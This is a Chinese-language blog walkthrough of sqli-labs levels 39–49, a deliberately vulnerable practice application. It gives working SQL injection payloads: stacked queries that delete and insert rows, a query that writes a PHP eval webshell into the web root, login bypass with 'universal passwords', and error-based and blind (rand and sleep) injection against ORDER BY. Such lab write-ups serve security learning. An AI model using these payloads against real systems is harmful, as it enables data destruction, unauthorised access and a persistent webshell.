【sqli-labs】闯关记录39~49
慢慢来,别着急。
【less-39】基于int型堆叠注入
?id=1;delete from users where id=1%23
注意这个%23很有灵魂,没加之前试了几次都没成功,%23就是为了注释多余的语句limit 0,1,使得语句能够正确的执行。
![image-20210424142404223](https://i-blog.csdnimg.cn/blog_migrate/0c1c17792f7187b06d3bfb37d852e1b9.png)
如图所示,执行成功!
堆叠注入对魅力就在于,你可以像在shell界面一样操作数据库,丝毫不受干扰。
【less-40】’)堆叠注入
?id=1' #直接报错
?id=1'%23 #依然报错
?id=1') and 1=1%23 #回显正常,判断应该是')闭合
?id=1') ;insert into users values(null,'peiqi','qiaozhi')%23 #插入一条记录
插入成功!
这个函数mysqli_multi_query()就是堆叠注入的罪魁祸首,该函数允许执行多条sql语句,语句之间用分号隔开,很危险,一般也很少使用。
【less-41】int型堆叠注入
?id=1 and 1=1 #回显正常,多次测试发现是数字型
?id=1; select '<?php @eval($_POST[x])?>' into outfile 'D:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\peiqi.php'--+
#写入webshell
写入成功!
用菜刀连接:
成功!
【less-42】万能密码,堆叠注入,报错注入
测试流程:
是一个登录页面,在username处尝试了万能密码无果,最后在password处尝试了万能密码成功登入:
但是,我们还可以提权到管理员:
换个姿势,用下堆叠注入:
![]() | ![]() |
报错注入:
username框随便输入
password框输入:
111' and updatexml(1,concat(0x7e,database()),3)#
源码分析:
login.php
对username字段参数做了转义,而password直接拼接。
有危险函数,存在堆叠注入。
pass_change.php
对输入的参数都进行了转义,比较安全。
【less-43】万能密码,堆叠注入,报错注入
')闭合,其余一样
【less-44】万能密码、堆叠注入
与上一关相比,屏蔽了报错,其他都一样。
【less-45】万能密码、堆叠注入
与上一关相比,只是闭合方式不同。’)
【less-46】报错注入
提示说让输入参数sort
![]() | ![]() |
发现是一个排序功能。
猜测后端的sql语句为:
select * from users order by $sort
所以尝试报错注入:
?sort=3 and updatexml(1,concat(0x7e,database()),2)
成功报错!
#再进一步暴表名、字段名、字段值即可
【less-47】报错注入
遇上上一关相比,只是闭合方式不同’
【less-48】rand盲注
这一关是盲注,就没那么好过了。
order by 后面只能接(字段名,位置,表达式)等信息
看来大神的文章,是用rand()函数,原理是因为rand(True)和rand(false)所显示的结果是不一样的,所以可以构造rand()函数中的表达式来进行布尔盲注。
rand(True)结果:
rand(false)结果:
#测数据库名长度
?sort=rand(length(database())>1)
#测数据库名称
?sort=rand(ascii(substr(database(),1,1))=115)
#测表的数量
#测表名的长度
#测表名
#然后按照这样的方法测字段名、字段值
详细方法可参照文章
【less-49】基于时间order by盲注
这一关是带有单引号的盲注
使用rand()函数就不太行了
需要用时间盲注:
?sort=1' and if(length(database())=1,sleep(3),0)%23
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)%23
这里就不一一试了,直接sqlmap一把梭。